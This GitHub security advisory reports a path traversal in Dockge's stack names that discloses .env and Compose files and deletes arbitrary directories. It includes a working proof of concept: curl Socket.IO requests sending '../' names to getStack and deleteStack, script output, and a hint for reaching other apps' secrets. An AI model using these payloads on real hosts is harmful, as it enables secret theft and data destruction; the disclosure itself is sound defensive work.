#994·dockge

Authenticated Path Traversal in stack name allows arbitrary .env/Compose file disclosure and arbitrary directory deletion

Author: HK4zCziCreated Aug 14, 2026Updated Aug 14, 2026
Labelssecurity

Advisory Details

GHSA-w8rm-ccw3-9jpc

  • Title: Path Traversal Vulnerability in Dockge
  • Description: An improper limitation of a pathname to a restricted directory (Path Traversal - CWE-22) vulnerability has been identified.
  • Affected products:
    • Ecosystem: npm / Other
    • Package name: dockge
    • Affected versions: (See advisory release info)
    • Patched versions: (See advisory release info)
  • Severity: High (CVSS Score: 8.8)
  • Vector string / Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None / Low
    • User Interaction: None
    • Scope: Unchanged
    • Confidentiality: High
    • Integrity: High
    • Availability: High
  • Weaknesses (CWE): Common weakness enumerator (CWE) - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (CWE-22)
  • Credits:
    • Accepted about 2 months ago
    • HK4zCzi (Hồ Việt Khánh) - Role: Reporter (Choose a credit type: Analyst, Finder, Reporter, Coordinator, Remediation developer, Remediation reviewer, Remediation verifier, Tool, Sponsor, Other)

Summary

An authenticated user can supply a crafted stack name containing ../ sequences to operations that are not subjected to the stack-name validation. Because Stack.getStack() and the Stack.path getter build a filesystem path with path.join(stacksDir, name) without calling validate() (the only place the ^[a-z0-9_-]+$ allow-list is enforced is save()), the resulting path escapes the managed stacksDir.

This yields two primitives outside the intended directory:

  1. Arbitrary .env / Compose file disclosure via the getStack event (returns composeENV and composeYAML read from the traversed directory).
  2. Arbitrary recursive directory deletion via the deleteStack event (fs.rm(path, { recursive: true, force: true }) on the traversed path).

If the instance runs with disableAuth enabled (a supported option that auto-logs-in as admin), the same primitives become unauthenticated.

Details

The stack name is fully attacker-controlled and is only validated on the write path:

  • validate() enforces the allow-list, but is only called from save():
    typescript
    // backend/stack.ts
    validate() {
        if (!this.name.match(/^[a-z0-9_-]+$/)) {
            throw new ValidationError("Stack name can only contain [a-z][0-9] _ - only");
        }
        ...
    }
    async save(isAdd) { this.validate(); ... }   // write path is protected
  • The read/delete/control paths build the path with no validation:
    typescript
    // backend/stack.ts
    get path() { return path.join(this.server.stacksDir, this.name); }   // this.name not validated
    
    static async getStack(server, stackName, skipFSOperations = false) {
        let dir = path.join(server.stacksDir, stackName);                 // stackName not validated
        ...
    }
  • File contents are read by appending a fixed filename to the traversed directory:
    typescript
    // backend/stack.ts
    get composeENV()  { ... fs.readFileSync(path.join(this.path, ".env"), "utf-8") ... }
    get composeYAML() { ... fs.readFileSync(path.join(this.path, this._composeFileName), "utf-8") ... }
    (Disclosure is therefore limited to files named .env or an accepted Compose filename — compose.yaml, compose.yml, docker-compose.yaml, docker-compose.yml — but in any directory the server process can read.)
  • Deletion runs docker compose down then deletes the directory recursively:
    typescript
    // backend/stack.ts
    async delete(socket) {
        let exitCode = await Terminal.exec(..., "docker", ["compose","down","--remove-orphans"], this.path);
        if (exitCode !== 0) throw new Error("Failed to delete, ...");
        await fsAsync.rm(this.path, { recursive: true, force: true });    // arbitrary dir, recursive
    }
    (Deletion requires the target directory to contain a valid Compose file so that docker compose down returns exit code 0.)

The socket handlers only check the type of stackName, never its content, before calling Stack.getStack():

typescript
// backend/agent-socket-handlers/docker-socket-handler.ts
agentSocket.on("deleteStack", async (name, callback) => {
    checkLogin(socket);
    if (typeof(name) !== "string") throw new ValidationError("Name must be a string");
    const stack = await Stack.getStack(server, name);   // no path validation
    await stack.delete(socket);
});
agentSocket.on("getStack", async (stackName, callback) => {
    checkLogin(socket);
    if (typeof(stackName) !== "string") throw new ValidationError("Stack name must be a string");
    const stack = await Stack.getStack(server, stackName);
    callbackResult({ ok: true, stack: await stack.toJSON(socket.endpoint) }, callback);
});

Affected events (all reach Stack.getStack() with an unvalidated name): getStack, deleteStack, startStack, stopStack, restartStack, updateStack, downStack, serviceStatusList, interactiveTerminal, leaveCombinedTerminal.

PoC

Environment used to reproduce

  • Host: Windows 11 + Docker Desktop (engine 29.x). Container is louislam/dockge:1.5.0.
  • docker-compose.poc.yml:
    yaml
    services:
      dockge:
        image: louislam/dockge:1.5.0
        container_name: dockge-poc
        ports: [ "5001:5001" ]
        volumes:
          - /var/run/docker.sock:/var/run/docker.sock
          - ./poc-data:/app/data
          - ./poc-stacks:/opt/stacks
        environment:
          - DOCKGE_STACKS_DIR=/opt/stacks
  • Bring up + create the first admin user (admin / MatKhau123):
    bash
    docker compose -f docker-compose.poc.yml up -d
    # create admin via the Socket.IO "setup" event:
    python -c "import socketio;s=socketio.Client();s.connect('http://localhost:5001',transports=['websocket']);print(s.call('setup',('admin','MatKhau123')));s.disconnect()"

Reproduce (automated PoC script verify-poc.py) The script seeds a marker directory outside /opt/stacks containing a random token in .env, then proves the read (token must appear in the response → no false positive) and the deletion (marker directory disappears from disk). verify-poc.py

bash
pip install "python-socketio[client]"
python verify-poc.py --url http://localhost:5001 --user admin --pass "MatKhau123" \
       --container dockge-poc --delete

Observed output:

[*] Test 1/2 — getStack('../dockge-poc-b16dd1c0')
    [VULN] composeENV contains the secret token placed OUTSIDE /opt/stacks:
           'SECRET=POC_TOKEN_ff2a7ee07e511fac5e1e03333e298575'
[*] Test 2/2 — deleteStack('../dockge-poc-b16dd1c0')
    [VULN] The out-of-sandbox marker directory was deleted from disk.
    Response: {'ok': True, 'msg': 'Deleted', 'msgi18n': True}
CONCLUSION: TRUE POSITIVE
Screenshot 2026-06-19 152343

Reproduce manually (raw Socket.IO over Engine.IO polling, no special tooling)

bash
B="http://localhost:5001/socket.io/?EIO=4&transport=polling"
# 1) seed a secret OUTSIDE the stacks dir
docker exec dockge-poc sh -c 'mkdir -p /opt/burp-poc && echo SECRET=LEAKME > /opt/burp-poc/.env && printf "services:\n  poc:\n    image: hello-world\n" > /opt/burp-poc/compose.yaml'
# 2) handshake -> sid
SID=$(curl -s "$B" | sed 's/^0//' | python -c "import sys,json;print(json.load(sys.stdin)['sid'])")
# 3) connect, 4) login, 5) read poll, 6) exploit, 7) read poll
curl -s -X POST "$B&sid=$SID" --data-binary '40'                                            >/dev/null
curl -s -X POST "$B&sid=$SID" --data-binary '420["login",{"username":"admin","password":"MatKhau123"}]' >/dev/null
curl -s "$B&sid=$SID" >/dev/null
curl -s -X POST "$B&sid=$SID" --data-binary '421["agent","","getStack","../burp-poc"]'      >/dev/null
curl -s "$B&sid=$SID"   # -> 431[{"ok":true,"stack":{... "composeENV":"SECRET=LEAKME\n" ...}}]
# Arbitrary deletion:
curl -s -X POST "$B&sid=$SID" --data-binary '421["agent","","deleteStack","../burp-poc"]'    >/dev/null
curl -s "$B&sid=$SID"   # -> 431[{"ok":true,"msg":"Deleted"}]  ; /opt/burp-poc is now gone

To read another application's secrets, use a traversal name such as ../../../../home/<user>/<app> (returns that directory's .env).

Impact

  • Confidentiality (High): any authenticated user can read .env / Compose files from any directory readable by the Dockge process (which typically runs as root with access to the Docker socket), disclosing database passwords, API keys and other secrets — including those of unrelated applications on the host and of other Dockge-managed stacks.
  • Integrity / Availability (High): any authenticated user can recursively delete any directory on the host that contains a Compose file, destroying other stacks or host data.
  • With disableAuth enabled, both become unauthenticated.
  • Type: CWE-22 Improper Limitation of a Pathname to a Restricted Directory (Path Traversal).

Suggested fix

Centralise the stack-name allow-list and enforce it on every path that resolves a stack name, not just save():

typescript
static validateName(name: string) {
    if (typeof name !== "string" || !/^[a-z0-9_-]+$/.test(name)) {
        throw new ValidationError("Invalid stack name");
    }
}
// call Stack.validateName(stackName) at the top of getStack() and in the constructor

Defense in depth: after path.resolve(), assert the result is inside server.stackDirFullPath (e.g. resolved === base || resolved.startsWith(base + path.sep)) before any fs/docker compose operation.